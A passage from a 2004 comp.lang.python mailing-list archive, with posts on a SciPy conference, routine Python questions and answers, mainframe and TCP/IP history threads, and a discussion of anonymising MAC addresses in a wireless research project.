http://www.scipy.org/wikis/scipy04/ConferenceSchedule If anyone who hasn't submitted their presentation would like to, you still can. As I was only able to attend the first day, I cannot comment on the entire conference. However, what I saw was very encouraging. There continues to be a great amount of work being done in using Python for Scientific Computing and the remaining problems seems to be how to get the word out and increase the user base. Many thanks are due to the presenters and the conference sponsors: *The National Biomedical Computation Resource* (NBCR, UCSD, San Diego, CA) The mission of the National Biomedical Computation Resource at the University of California San Diego and partners at The Scripps Research Institute and Washington University is to conduct, catalyze, and advance biomedical research by harnessing, developing and deploying forefront computational, information, and grid technologies. NBCR is supported by _National Institutes of Health (NIH) _ through a _National Center for Research Resources_ centers grant (P 41 RR08605). *The Center for Advanced Computing Research* (CACR, CalTech , Pasadena, CA) CACR is dedicated to the pursuit of excellence in the field of high-performance computing, communication, and data engineering. Major activities include carrying out large-scale scientific and engineering applications on parallel supercomputers and coordinating collaborative research projects on high-speed network technologies, distributed computing and database methodologies, and related topics. Our goal is to help further the state of the art in scientific computing. *Enthought, Inc.* (Austin, TX) Enthought, Inc. provides business and scientific computing solutions through software development, consulting and training. Best regards to all, -Travis Oliphant Brigham Young University 459 CB Provo, UT 84602 oliphant.travis at ieee.org From peter at engcorp.com Tue Sep 21 14:52:05 2004 From: peter at engcorp.com (Peter Hansen) Date: Tue, 21 Sep 2004 14:52:05 -0400 Subject: class size In-Reply-To: References: Message-ID: Peter Hansen wrote: > Discussing this issue quantitiatively is wrong. The real > concern should be about things like coupling, coherency, > readability, and maintainability. Learn about those concepts and D'oh! Brain fart... I meant "cohesion", not "coherency". I should have paid attention to my hesitation while typing that word... (Of course, code should probably be coherent, too, but it's not typically seen as a concern... text files rarely break apart spontaneously. ;-) -Peter From abra9823 at mail.usyd.edu.au Tue Sep 14 08:49:10 2004 From: abra9823 at mail.usyd.edu.au (Ajay) Date: Tue, 14 Sep 2004 22:49:10 +1000 Subject: tkinter question Message-ID: <1095166150.4146e8c6d27f1@www-mail.usyd.edu.au> hi! in my gui i have a set of radio buttons and some entry widgets. what i'd like is that unless a particular radio button is selected, i shouldn't be able to enter information in the entry widget. how would i do that? make the widget non-editable? cheers ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From guettli at thomas-guettler.de Thu Sep 23 06:41:35 2004 From: guettli at thomas-guettler.de (Thomas Guettler) Date: Thu, 23 Sep 2004 12:41:35 +0200 Subject: Parsing HTML References: Message-ID: Am Thu, 23 Sep 2004 08:42:08 +0200 schrieb Anders Eriksson: > Hello! > > I want to extract some info from a some specific HTML pages, Microsofts > International Word list (e.g. > http://msdn.microsoft.com/library/en-us/dnwue/html/swe_word_list.htm). I > want to take all the words, both English and the other language and create > a dictionary. so that I can look up About and get Om as the answer. > > How is the best way to do this? Hi, If you only want to parse one page, I would use the re module. If you want to parse many HTML pages, you can use tidy to create xml and then use an xml parser. There are too many ways HTML can be broken. HTH, Thomas From zanesdad at bellsouth.net Wed Sep 29 11:47:31 2004 From: zanesdad at bellsouth.net (Jeremy Jones) Date: Wed, 29 Sep 2004 11:47:31 -0400 Subject: Maximum number of threads In-Reply-To: References: <415abdaa$1_1@omega.dimensional.com> Message-ID: <415AD913.5060902@bellsouth.net> Kirby Angell wrote: > Michael Fuhr wrote: > >> What happens when you hit this "hard limit"? If there's an error >> message then it might hint at the problem. > > > If I run this program: > > >> I'm not current on Linux threading models -- do these versions of >> Linux create a new process for each thread? If so, could resource >> limits be preventing you from creating more threads? > > > I don't think Linux creates a new process for each thread. Sure seems > like this would have to be something related to python since 2.2 could > create a thousand or more threads. Although I have to admit that it > is odd that the maximum number of threads I can create on RH9 is > different than on FC2. Versions of RedHat prior to 9 did something that made it appear that each thread was a process. I don't know all the ins and outs (I think it had something to do with user-space vs. kernel-space), but when the Native Posix Thread Library (NPTL) appeard in RH9, each thread did not show up as its own process (say, in top). I think it's probably an OS limitation. I kicked off the same script on Windows XP that I kicked off on FC2 and XP was able to generate over 2000 threads as opposed to around 400 for FC2. I may be wrong, but I think Python relies on the underlying OS threading libraries for everything threading related. Which is probably why the recent change in either 2.2 or 2.3 for a dummy threading module that simulates threading on systems that do not support threading. I know my babbling isn't getting you any closer to a solution..... Jeremy Jones From m.h.3.9.1.without.dots.at.cam.ac.uk at example.com Fri Sep 24 09:48:37 2004 From: m.h.3.9.1.without.dots.at.cam.ac.uk at example.com (Michael Hoffman) Date: Fri, 24 Sep 2004 14:48:37 +0100 Subject: Unexpected Python Behavior In-Reply-To: References: <4e4a11f8.0409232355.6ba0468d@posting.google.com> Message-ID: David Pokorny wrote: > "Because of this feature, it is good programming practice to not use mutable > objects as default values." -- > http://www.python.org/doc/faq/general.html#why-are-default-values-shared-between-objects > > Has it been discussed whether it would be a good idea to issue a warning in > this case? It's not. > It strikes me that a warning wouldn't bother veteran programmers, > since it is really easy to avoid using a mutable default value (nearly > trivial to modify code that does use mutable default values). I'd imagine it > makes code more readable too. I think you're missing the usefulness of this feature. Go back to the link you included and read the next paragraph, "This feature can be useful." -- Michael Hoffman From outpost at rumblefish.org Sun Sep 19 16:19:05 2004 From: outpost at rumblefish.org (Thomas D'Tak) Date: Sun, 19 Sep 2004 22:19:05 +0200 Subject: Formatting numbers with leading zeros References: <71f6c60f.0409191159.5f9040bb@posting.google.com> Message-ID: On Sun, 19 Sep 2004 12:59:21 -0700, Stian wrote: > One thing I can't figure out is how > to format numbers so that they get leading zeros > > ... ... ... > > print '%sx%s'%(season,episode) > > which gives the output 1x1, but I want 1x01 I think you are looking for the string method zfill(); you can find it here in Python's Library Reference: http://www.python.org/doc/2.3.4/lib/string-methods.html If e.g. episode = '1', episode.zfill(2) will return '01' and episode.zfill(3) will return '001' etc. etc. HTH, Th. From greg at cosc.canterbury.ac.nz Thu Sep 23 23:47:33 2004 From: greg at cosc.canterbury.ac.nz (Greg Ewing) Date: Fri, 24 Sep 2004 15:47:33 +1200 Subject: up with PyGUI! In-Reply-To: <4152D05B.9020909@zephyrfalcon.org> References: <414783DD.4070509@zephyrfalcon.org> <4lf4d.15151$pA.1180511@news20.bellglobal.com> <4151B7C4.6070003@zephyrfalcon.org> <2rfnp6F19gkpkU1@uni-berlin.de> <4152D05B.9020909@zephyrfalcon.org> Message-ID: <2rhjmpF1at3kjU1@uni-berlin.de> Hans Nowak wrote: > anton muhin wrote: > >> class MainFrame(FrameDescription): >> >> class b1(ButtonDescription): >> size = (40, 40) >> text = "b1" >> > I'm not sure if the construct described above is all > that great... For a while now I've been wondering whether Python could benefit from an "instance" statement that works similarly to a class statement but creates instances instead of classes. e.g. class MainFrame(FrameDescription): instance b1(ButtonDescription): size = (40, 40) text = "b1" Haven't figured out all the details of how it would work, though... -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand http://www.cosc.canterbury.ac.nz/~greg From narshe at gmail.com Mon Sep 20 15:30:37 2004 From: narshe at gmail.com (Josh Close) Date: Mon, 20 Sep 2004 14:30:37 -0500 Subject: pipe command to script In-Reply-To: References: Message-ID: <4a0cafe204092012301deb017d@mail.gmail.com> Nice, that's easy. I did it some other way last time that worked also..... probably doing things twice the other way though. Thanks! -Josh On Mon, 20 Sep 2004 12:24:25 -0700, Robert Kern wrote: > > > Josh Close wrote: > > How can I read input from stdin pipe from somewhere? > > > > ex: > > # echo hello | script.py > > > > I was thinking opening file() or popen() with sys.stdin, but that > > didn't work. I've done this before but don't have the code anymore and > > can't figure it out again. > > sys.stdin is already an open file object. Just call sys.stdin.read(). > > > Thanks. > > > > -Josh > > -- > Robert Kern > rkern at ucsd.edu > > "In the fields of hell where the grass grows high > Are the graves of dreams allowed to die." > -- Richard Harter > -- > http://mail.python.org/mailman/listinfo/python-list > From firstname at lastname.pr1v.n0 Thu Sep 9 12:21:52 2004 From: firstname at lastname.pr1v.n0 (Morten Reistad) Date: Thu, 9 Sep 2004 18:21:52 +0200 Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <413f049f$0$6914$61fed72c@news.rcn.com> <5sjnhc.bb81.ln@via.reistad.priv.no> Message-ID: <0vvphc.8nl1.ln@via.reistad.priv.no> In article , Anne & Lynn Wheeler wrote: >Morten Reistad writes: >> >> SMD filters were used at a quite high rate; even inside well >> filtered rooms. ISTR 6 months was a pretty long interval between >> PM's. > >360s, 370s, etc differentiated between smp ... which was either smD the TLA that represents a washing-machine size disk. Mountable. ^ Made impressive head crashes from time to time. But I won't interfere with this lovely thread drift with lots of relevant facts. >symmetrical multiprocessing or shared memory (multi-)processing >... and loosely-coupled multiprocessing (clusters). >http://www.garlic.com/~lynn/subtopic.html#smp > >in the 70s, my wife did stint in POK responsible for loosely-coupled >multiprocessing architecture and came up with peer-coupled shared >data >http://www.garlic.com/~lynn/subtopic.html#shareddata > >also in the 70s, i had done a re-org of the virtual memory >infrastructure for vm/cms. part of it was released as something called >discontiguous shared memory ... and other pieces of it was released >as part of the resource manager having to do with page migration >(moving virtual pages between different backing store devices). >http://www.garlic.com/~lynn/subtopic.html#fairshare >http://www.garlic.com/~lynn/subtopic.html#wsclock >http://www.garlic.com/~lynn/subtopic.html#mmap >http://www.garlic.com/~lynn/subtopic.html#adcon > >in the mid-70s, one of the vm/cms timesharing service bureaus >http://www.garlic.com/~lynn/subtopic.html#timeshare > >was starting to offer 7x24 service to customers around the world; one >of the issues was being able to still schedule PM .... when there >was never a time that there wasn't anybody using the system. they >had already providing support for loosely-coupled, similar to >HONE >http://www.garlic.com/~lynn/subtopic.html#hone > >for scallability & load balancing. what they did in the mid-70s was to >expand the "page migration" ... to include all control blocks ... so >that processes could be migrated off one processor complex (in a >loosely-coupled environment) to a different processor complex ... so >a processor complex could be taken offline for PM. > >in the late '80s, we started the high availability, cluster multiprocessing >project: >http://www.garlic.com/~lynn/subtopic.html#hacmp > >of course the airline res system had been doing similar things on 360s >starting in the 60s. > >totally random references to airline res systems, tpf, acp, and/or pars: >http://www.garlic.com/~lynn/96.html#29 Mainframes & Unix >http://www.garlic.com/~lynn/99.html#17 Old Computers >http://www.garlic.com/~lynn/99.html#100 Why won't the AS/400 die? Or, It's 1999 why do I have to learn how to use >http://www.garlic.com/~lynn/99.html#103 IBM 9020 computers used by FAA (was Re: EPO stories (was: HELP IT'S HOT!!!!!)) >http://www.garlic.com/~lynn/99.html#136a checks (was S/390 on PowerPC?) >http://www.garlic.com/~lynn/99.html#152 Uptime (was Re: Q: S/390 on PowerPC?) >http://www.garlic.com/~lynn/2000b.html#20 How many Megaflops and when? >http://www.garlic.com/~lynn/2000b.html#61 VM (not VMS or Virtual Machine, the IBM sort) >http://www.garlic.com/~lynn/2000b.html#65 oddly portable machines >http://www.garlic.com/~lynn/2000c.html#60 Disincentives for MVS & future of MVS systems programmers >http://www.garlic.com/~lynn/2000e.html#21 Competitors to SABRE? Big Iron >http://www.garlic.com/~lynn/2000e.html#22 Is a VAX a mainframe? >http://www.garlic.com/~lynn/2000f.html#20 Competitors to SABRE? >http://www.garlic.com/~lynn/2001.html#26 Disk caching and file systems. Disk history...people forget >http://www.garlic.com/~lynn/2001b.html#37 John Mashey's greatest hits >http://www.garlic.com/~lynn/2001d.html#69 Block oriented I/O over IP >http://www.garlic.com/~lynn/2001e.html#2 Block oriented I/O over IP >http://www.garlic.com/~lynn/2001g.html#35 Did AT&T offer Unix to Digital Equipment in the 70s? >http://www.garlic.com/~lynn/2001g.html#45 Did AT&T offer Unix to Digital Equipment in the 70s? >http://www.garlic.com/~lynn/2001g.html#46 The Alpha/IA64 Hybrid >http://www.garlic.com/~lynn/2001g.html#47 The Alpha/IA64 Hybrid >http://www.garlic.com/~lynn/2001g.html#49 Did AT&T offer Unix to Digital Equipment in the 70s? >http://www.garlic.com/~lynn/2001j.html#17 I hate Compaq >http://www.garlic.com/~lynn/2001n.html#0 TSS/360 >http://www.garlic.com/~lynn/2001n.html#3 News IBM loses supercomputer crown >http://www.garlic.com/~lynn/2002c.html#9 IBM Doesn't Make Small MP's Anymore >http://www.garlic.com/~lynn/2002g.html#2 Computers in Science Fiction >http://www.garlic.com/~lynn/2002g.html#3 Why are Mainframe Computers really still in use at all? >http://www.garlic.com/~lynn/2002h.html#12 Why did OSI fail compared with TCP-IP? >http://www.garlic.com/~lynn/2002h.html#43 IBM doing anything for 50th Anniv? >http://www.garlic.com/~lynn/2002i.html#63 Hercules and System/390 - do we need it? >http://www.garlic.com/~lynn/2002i.html#83 HONE >http://www.garlic.com/~lynn/2002j.html#83 Summary: Robots of Doom >http://www.garlic.com/~lynn/2002m.html#67 Tweaking old computers? >http://www.garlic.com/~lynn/2002n.html#29 why does wait state exist? >http://www.garlic.com/~lynn/2002o.html#28 TPF >http://www.garlic.com/~lynn/2002p.html#58 AMP vs SMP >http://www.garlic.com/~lynn/2003.html#48 InfiniBand Group Sharply, Evenly Divided >http://www.garlic.com/~lynn/2003c.html#30 diffence between itanium and alpha >http://www.garlic.com/~lynn/2003d.html#67 unix >http://www.garlic.com/~lynn/2003g.html#30 One Processor is bad? >http://www.garlic.com/~lynn/2003g.html#32 One Processor is bad? >http://www.garlic.com/~lynn/2003g.html#37 Lisp Machines >http://www.garlic.com/~lynn/2003j.html#2 Fix the shuttle or fly it unmanned >http://www.garlic.com/~lynn/2003k.html#3 Ping: Anne & Lynn Wheeler >http://www.garlic.com/~lynn/2003n.html#47 What makes a mainframe a mainframe? >http://www.garlic.com/~lynn/2003p.html#45 Saturation Design Point >http://www.garlic.com/~lynn/2004.html#24 40th anniversary of IBM System/360 on 7 Apr 2004 >http://www.garlic.com/~lynn/2004.html#49 Mainframe not a good architecture for interactive workloads >http://www.garlic.com/~lynn/2004.html#50 Mainframe not a good architecture for interactive workloads >http://www.garlic.com/~lynn/2004b.html#6 Mainframe not a good architecture for interactive workloads >http://www.garlic.com/~lynn/2004b.html#7 Mainframe not a good architecture for interactive workloads >http://www.garlic.com/~lynn/2004c.html#35 Computer-oriented license plates >http://www.garlic.com/~lynn/2004e.html#44 Infiniband - practicalities for small clusters >http://www.garlic.com/~lynn/2004f.html#58 Infiniband - practicalities for small clusters >http://www.garlic.com/~lynn/2004g.html#14 Infiniband - practicalities for small clusters > >-- >Anne & Lynn Wheeler | http://www.garlic.com/~lynn/ From lynn at garlic.com Thu Sep 2 11:55:45 2004 From: lynn at garlic.com (Anne & Lynn Wheeler) Date: Thu, 02 Sep 2004 09:55:45 -0600 Subject: Xah Lee's Unixism References: <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net> <41337FC9.8070902@hotmail.com> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> <41372f4a$0$19727$61fed72c@news.rcn.com> Message-ID: jmfbahciv at aol.com writes: > And everybody seems to think that those people never talked to each > other. Even boasting about whose is bigger, faster, and longer > would transmit new ideas among the bit setters. and some of them worked jointly/together on ctss ... before some of them going to multics on the 5th floor and others going to the science center on the 4th floor. also the north half of 1st floor, 545 tech sq had a lunch room on the east side and a lounge on the west side ... and if nothing else ... people ran into each other there. then there is melinda's vm history which has a lot of the ctss, multics, cp/cms early lore .... current copy at: http://pucc.princeton.edu/~melinda/ a much earlier version was posted to vmshare computer conference in eight parts and can be found at the vmshare archive site: http://vm.marist.edu/~vmshare/browse?fn=VMHIST01&ft=NOTE http://vm.marist.edu/~vmshare/browse?fn=VMHIST02&ft=NOTE http://vm.marist.edu/~vmshare/browse?fn=VMHIST03&ft=NOTE http://vm.marist.edu/~vmshare/browse?fn=VMHIST04&ft=NOTE http://vm.marist.edu/~vmshare/browse?fn=VMHIST05&ft=NOTE http://vm.marist.edu/~vmshare/browse?fn=VMHIST06&ft=NOTE http://vm.marist.edu/~vmshare/browse?fn=VMHIST07&ft=NOTE http://vm.marist.edu/~vmshare/browse?fn=VMHIST08&ft=NOTE -- Anne & Lynn Wheeler | http://www.garlic.com/~lynn/ From peter at engcorp.com Tue Sep 28 07:20:28 2004 From: peter at engcorp.com (Peter Hansen) Date: Tue, 28 Sep 2004 07:20:28 -0400 Subject: synchronize a block In-Reply-To: References: <2rqduhF1di4lmU1@uni-berlin.de> Message-ID: Peter Maas wrote: > Peter Hansen schrieb: > >> Sometimes, and more so lately, *painfully* slowly. I'm somewhat >> saddened by the waste involved in some of those threads where the >> OP posts a vague question, we all spend days replying with various >> guesses at what was really intended, and then finally the OP >> posts again (and sometimes they don't even do us that courtesy!) >> and says merely "oh, it wasn't that complicated, I just meant X" >> and it turns out to have been a FAQ item anyway. :-( > > > The best way to minimize c.l.py effort is to behave like an expert > system: > > synchronize: unknown. Please explain. Maybe, but then I get emails telling me I'm being rude. :-( From aahz at pythoncraft.com Thu Sep 9 13:06:02 2004 From: aahz at pythoncraft.com (Aahz) Date: 9 Sep 2004 13:06:02 -0400 Subject: Is except: ... pass bad style? References: Message-ID: In article , marduk wrote: > >I commonly use code like this > >try: > # call optional method > myobj.method() >except AttributeError: > # no biggie > pass > >Occasionally I use pylint, which is a good tool, but in the above >snippet pylint will complain that 'Except doesn't do anything'. True, >but is that bad style? I know there are other ways of doing it, but >of all the other "obvious" ones, this appears the most straight >forward. > >Should I ignore pylint or is there a more Pythonic way to do this? Neither. It's a perfectly good Pythonic idiom, but it's also likely to be programmer error (mocking up the try/except structure and forgetting to fill in the blanks later). So you should ignore pylint when it's code you're familiar with (and have already double-checked your intentions), but you should pay attention to pylint when you're writing new code and checking it. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "A foolish consistency is the hobgoblin of little minds, adored by little statesmen and philosophers and divines." --Ralph Waldo Emerson From fuzzyman at gmail.com Tue Sep 7 08:35:21 2004 From: fuzzyman at gmail.com (Michael Foord) Date: 7 Sep 2004 05:35:21 -0700 Subject: Anyone know anything named DX? (was Re: Announcing PyCs) (was: Announcing PyCs, a new Python-like language on .Net) References: <20040901221925.2128958333.EP@zomething.com> <1stv02-qlp.ln1@home.rogerbinns.com> Message-ID: <6f402501.0409070435.46f2b2de@posting.google.com> "Roger Binns" wrote in message news:<1stv02-qlp.ln1 at home.rogerbinns.com>... > Jeremy Bowers wrote: > > The "great" names are long gone. > > Here is my (unpatented) technique: > > Use APG online to generate pronounceable words (they are intended to be > passwords but who cares). You need to turn off symbols and digits. > Here is one site: > > http://maurizio.giampy.it/apg/ > > Set the length range to whatever takes your fancy. Read through the > list and do a Google search for any that look good. Wonder how on > earth so many of them have matches. Rinse and repeat until you find > one with no matches. > > It was how I came up with Entrocul and BitPim :-) > > I did actually send an email to Google labs suggesting they come > up with an "naming" tool where you could suggest what style of > name you wanted (eg scientific, Italian, computery) and it would > generate random strings of that form with no entries in the > index. They never responded. > > Roger That sounds like a *very* good idea..... I'm not going to do it though ;-) Regards, Fuzzy http://www.voidspace.org.uk/atlantibots/pythonutils.html From jmfbahciv at aol.com Tue Sep 7 07:30:43 2004 From: jmfbahciv at aol.com (jmfbahciv at aol.com) Date: Tue, 07 Sep 04 11:30:43 GMT Subject: Xah Lee's Unixism References: <413af268$0$19706$61fed72c@news.rcn.com> <413c5b9c$0$19705$61fed72c@news.rcn.com> <1s4ihc.4i4.ln@via.reistad.priv.no> Message-ID: <413daee5$0$6932$61fed72c@news.rcn.com> In article <1s4ihc.4i4.ln at via.reistad.priv.no>, Morten Reistad wrote: >In article <413c5b9c$0$19705$61fed72c at news.rcn.com>, > wrote: >>In article , >> Morten Reistad wrote: >>>In article <413af268$0$19706$61fed72c at news.rcn.com>, >>> wrote: >>>>In article <20040904.2231.57679snz at dsl.co.uk>, >>>> bhk at dsl.co.uk (Brian {Hamilton Kelly}) wrote: >>>>>On Thursday, in article >>>>> <41371e5c$0$19723$61fed72c at news.rcn.com> jmfbahciv at aol.com >>>>> wrote: > >>>VMS was too early, and was made too politically correct. >>> >>>TCP/IP was NOT politically correct until around 1996 or so. >>>TPTB wanted OSI, GOSIP/Decnet Phase 5 and all that crud, until we >>>Internet people hammered them. >>> >>>>>Indeed, it took many years before DEC [sorry, by then it was already >>>>>d|i|g|i|t|a|l] had a TCP/IP stack available for VMS --- the dreaded heap >>>>>of quivering jelly created by the Eunice idiots. >>>>> >>>>>Before that, people who needed TCP/IP on a Vax used various third-party >>>>>solutions, such as the implementations from Carnegie-Mellon (CMU) >>>> >>>>Sigh! If CMU had it, I would have assumed it got hornshoed into >>>>VMS. >>> >>>Wrong mindset. TCP/IP was never a DEC invention, much less a D I G I T A L >>>one. >> >>It didn't have to be a DEC invention. If it was CMU, we got it >>shoved down our throats and up our asses. However, I see >>that the dates explain why TCP/IP didn't get into VMS. >>Apparently the protocol got good after Gordon Bell left DEC. > >1995 was the year everyone and Bill Gates discovered the Internet >existed; and wanted in on the deal. Suddenly everyone needed Internet >solutions. I knew the Internet existed when I started reading the ads in the WSJ and they had this strange arrangement of characters that began with www. At first, there were only a few. _One_ year later there were lot. Less than two years later, everybody had one. I watch ads to foretell trends. > >>Since TCP/IP was in the 90s, I couldn't have heard about it >>over the wall (I think I stopped working in 1987). I could >>swear that cybercurd meant something. >> >>ISTR, the -20 types yakking about it. > >TCP/IP was launched in 1982, and the Internet (or the Arpanet, rather) >converted Jan 1st 1983; with final NCP service turned off everywhere >by mid march 1983. Aha! Whew! Then my memory isn't completely gone. If it was launched in 1982, then they had to have been yakking about it in 1980 and 1981. > >Tops20 has an IP package; but it was pretty rudimentary in version 4, >and not quite complete even by those standards even in version 7. Version 4 and version 7 were way after 1980. /BAH Subtract a hundred and four for e-mail. From skip at pobox.com Tue Sep 7 15:08:41 2004 From: skip at pobox.com (Skip Montanaro) Date: Tue, 7 Sep 2004 14:08:41 -0500 Subject: glossary wiki In-Reply-To: References: Message-ID: <16702.1849.442280.227304@montanaro.dyndns.org> Nicolas> I guess it would be nice to put this glossary on Nicolas> http://www.python.org/moin/. That's fine with me. If someone does it let me know and I'll dump mine and redirect to the relevant page. Skip From abra9823 at mail.usyd.edu.au Tue Sep 21 03:13:01 2004 From: abra9823 at mail.usyd.edu.au (Ajay) Date: Tue, 21 Sep 2004 17:13:01 +1000 Subject: MAC address In-Reply-To: References: <1095663115.414e7e0b675e4@www-mail.usyd.edu.au> <200409201005.25963.heikowu@ceosg.de> <414efed5$0$60631$a1866201@newsreader.visi.com> <414f7c66$0$60638$a1866201@newsreader.visi.com> <414fa1ec$0$63273$a1866201@newsreader.visi.com> Message-ID: <1095750781.414fd47d54f63@www-mail.usyd.edu.au> i am going to try and answer a lot of questions posed in separate emails here. first of all a more detailed scenario. considers a ubiquitous/pervasive computing scenario. People walk around with PDA's which contains information on their activities, preferences etc. this information can be used to provide personalized services. consider a shopping center. you have a videostore, a supermarket, perhaps a cinema as well. there is wireless LAN present. when you walk into the center carrying your PDA (together with lots and lots of people) you join up the wireless LAN. the service providers (supermarket, videostore, cinema) have systems running that periodically broadcast a message saying what information they need from you along with the adress of the service provider. you then release the information and this can be used to light up a particular display bard etc. The information release which is the information stored also does not contain anything that can uniquely identify you. i am abstracting over quite a few issues here including format for exchanging data, understanding data, communicating the personalized service etc. all these are relevant but not of interest to me. now to your questions Quoting Andrew Dalke : > Sure. But if someone's doing that much traffic analysis then > other possibilities are: > > - do you have characteristic use patterns? (eg, check > c.l.py every 5 minutes, pull email from your server) maybe they might. but we are really looking at someone who uses the service say a few times a day. and there will be hundreds of other users also with varying frequencies of usage. > > - does your machine have characteristic patterns? My Mac > and my NT boxes both like telling the network that they > are present. Even with file services, iTunes and other > services turned off, it would be pretty easy to identify > my machine by looking at the headers in an HTML request. > (Eg, look at the browser identification string, or > see what cookies are sent and match them to previously > seen cookies) i have no clue, i'll need to check. again we are looking at many users with similar devices. > > - after a new machine connects to the network, check if > an old machine stop connecting. Even better, since > you're talking wireless, see if the new machine has the > same signal strength as the one one. > again, say hundreds of users doing the same thing, ie communicating with different MAC addresses. > - for that matter, someone trying to figure out who people > are could use several receivers, or a directional > antenna to figure out where you are and just watch you. this is very much possible if the area is sparsely occupied. but if you have lots and lots of people around, i doubt you can pinpoint to a single person in the crowd. > > - does your machine tell the DHCP server a hostname? If so, > don't forget to change it when you change your MAC address. > If not, are you the only one who doesn't use a name? > next step after removing the MAC. Quoting Jeremy Bowers : > > Unless your WLAN is monstrous, they can link your ten uses together by > looking for the wildly changing MAC address that is only used once. You > need everybody to do that for it to be any sort of defense. > like i mentioned above, we assume that most if not all users are doing the same thing, i.e., using wildly changing MAC addresses > Have you done a decent threat analysis? What are you protecting? What is > your likely attack vectors? Who cares, or rather, what kind of person > will > care? I don't know any of these answers and you are free to share them > or > not, as you are comfortable. > since its not a commercial application - merely a research project, no, i haven't done a threat analysis w.r.t to the type of information exchanged. i have however looked at all security threats in such a system and will be applying mechanisms for authentication, confidentiality, integrity etc. > I am curious about what information you feel you are going to leak with > a > static MAC address that you are not going to leak equally with wildly > changing ones with only slightly more effort from whatever attacker you > are worried about. Again, it is completely your choice to answer this, > of > course, but you have piqued my curiosity. the ability of a commercial service provider to link your interactions together and generate a profile of you - that is what i am trying to guard against. i would like users to have the option of interacting with a service under different pseudonyms. thus the information they exchange the first time may be different from what they exchange a second time around. Quoting Pierre Fortin : > > The type of LAN is immaterial to what you are proposing. Whatever MAC > address (excl. broad-/multi-cast) you pick, the server should only snarf > it if you send some packets to the server (unless the server is also > running some sniffer code). As long as you _do_ try to talk to the > server, whichever MAC you use *will*be*known* to the server -- it's the > only way you can get a response... if you could change just your Tx MAC > and not your Rx MAC, the server would respond to your > known-to-the-server > MAC address; but your machine wouldn't hear it cuz it'd be listening on > a > different MAC (Rx)... > > You can't "anonymize" if you plan to have a _conversation_ with the > server... umm the exchange is one-way. i dont intend to have a conversation with the server. thanks for all your comments and apologies to other folks on the list - this was quite off topic. cheers ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From apardon at forel.vub.ac.be Mon Sep 6 02:52:41 2004 From: apardon at forel.vub.ac.be (Antoon Pardon) Date: 6 Sep 2004 06:52:41 GMT Subject: allowing braces around suites References: <1r3c28g6o9.fsf@rovereto.ifi.uio.no> <1rk6vkeo5d.fsf@rovereto.ifi.uio.no> <87hdqok9i6.fsf@sinken.local.csis.hku.hk> <1rfz68ely9.fsf@rovereto.ifi.uio.no> <876574k7du.fsf@sinken.local.csis.hku.hk> <1r3c28ejis.fsf@rovereto.ifi.uio.no> <1rllg0cb3m.fsf@rovereto.ifi.uio.no> <874qmovxna.fsf@sinken.local.csis.hku.hk> <877jrfo1t3.fsf@sinken.local.csis.hku.hk> Message-ID: Op 2004-08-31, Isaac To schreef : >>>>>> "Antoon" == Antoon Pardon writes: > > Antoon> I used to limit myself to indentation to see which code > Antoon> belonged to which control. But then I found myself witch > Antoon> controls that were so nested it was hard to see to which > Antoon> if a particular else suite belonged > > This is a clear sign that you nest too much, and no matter how the > language looks like your code become very hard to read. I would agree if it still was hard to see when end markers are used. > I'm now used > to write in C using 8-spaces tabs, with no more than 5 levels of > indentation (typically 3 levels), and the screen width is maintained > at 80 columns. I have had code with only 4 levels of indentation in which I find that end markers help a lot in finding out which if an else belongs too. > My rationale is very simple: if Linux kernel hackers > can do that with their sorely complicated project and I find any > problem on my own little projects, I must have some real problem. But C has end markers. So that programmers in a language with end markers can easily nest up to a certain level doesn't mean that the same code indented the same but without end markers would be just as easily readable. -- Antoon Pardon From me at privacy.net Mon Sep 27 00:14:38 2004 From: me at privacy.net (Richard Hanson) Date: Sun, 26 Sep 2004 21:14:38 -0700 Subject: Whose is smaller (was: Math errors in python) References: <1gkqqmt.ng7g3h14zievbN%aleaxit@yahoo.com> <9d2k22-tj1.ln1@lairds.us> Message-ID: <141fl01ecvoobq2h33ud827p6mefvu3183@4ax.com> Cameron Laird wrote: > In article , > Richard Hanson wrote [comparing > Anna Martelli Ravenscroft's Fujitsu LifeBook P2000 to my > (Richard Hanson's) Fujitsu LifeBook P1120]: > > > [...] > > > >In any event, the Fujitsu LifeBook P1120 has a 8.9" wide-format > >screen, is 2.2lbs.-light with the smaller *very* long-lasting battery > >and 2.5lbs.-light with the very, *very* long-lasting battery, and has > >-- what tipped the scales, as it were, for my needs -- a touchscreen > >and stylus. > > > > [...] > > > >Alex Martelli wrote: > > > >> OBCLPY: Python runs just as wonderfully on her tiny P-Series as on my > >> iBook, even though only Apple uses it within the OS itself;-) > > > >ObC.l.pyFollow-up: Python also runs very well on my tinier ;-) P1120 > >with the Transmeta Crusoe TM5800 processor running at 800MHz and with > >256MB RAM and a 256KB L2 on-chip cache -- even using Win2k. :-) It's > >really nice not needing a fan on a laptop, as well -- even when > >calculating Decimal's sqrt() to thousands of decimal places. ;-) > . > . > . > Is Linux practical on these boxes? I've found on the web accounts of two people, at least, getting the P1120 working with Linux and with at least partial functionality of the touchscreen -- one individual claimed full functionality. (I found some accounts of success with getting Linux working on the P2000, as well.) I'm currently waiting to purchase a new harddrive for my P1120 to see for myself if I can get Linux installed with the touchscreen fully functioning -- which, as I mentioned in my post, is particularly important to me. > How do touch-typists like them I've been touch-typing since I was about nine-years-old. When I was looking for a very light laptop for reasons mentioned in my post, I was concerned that I wouldn't be able to touch-type on the ~85% (16mm pitch) keyboard. I went to a local "big box" computer store (who shall remain nameless) and tried one of the P1120s -- within seconds I realized I could easily adapt and subsequently ordered one from Fujitsu. I would estimate that I was typing *faster* and with substantially *fewer* errors inside of several weeks -- and occasional uses of the standard-sized keyboard on my HP Omnibook 900B made me feel like a Munchkin. :-) Now that I'm temporarily back on the standard-pitch Omnibook 900B, I have adapted to the what-had-come-to-seem-a-humongous keyboard, once again. I most definitely prefer the P1120's keyboard. I note that on the P1120, I could reach difficult key-combinations much easier, and also, that I could often hold down two keys of a three-key combo, say, with one finger or thumb. Your mileage may vary, as they say, but I now prefer smaller keyboards. The "instant on-off" works very well, too. I highly recommend the P1120 for anyone who isn't put off by the smaller keyboard. (Drawing on the 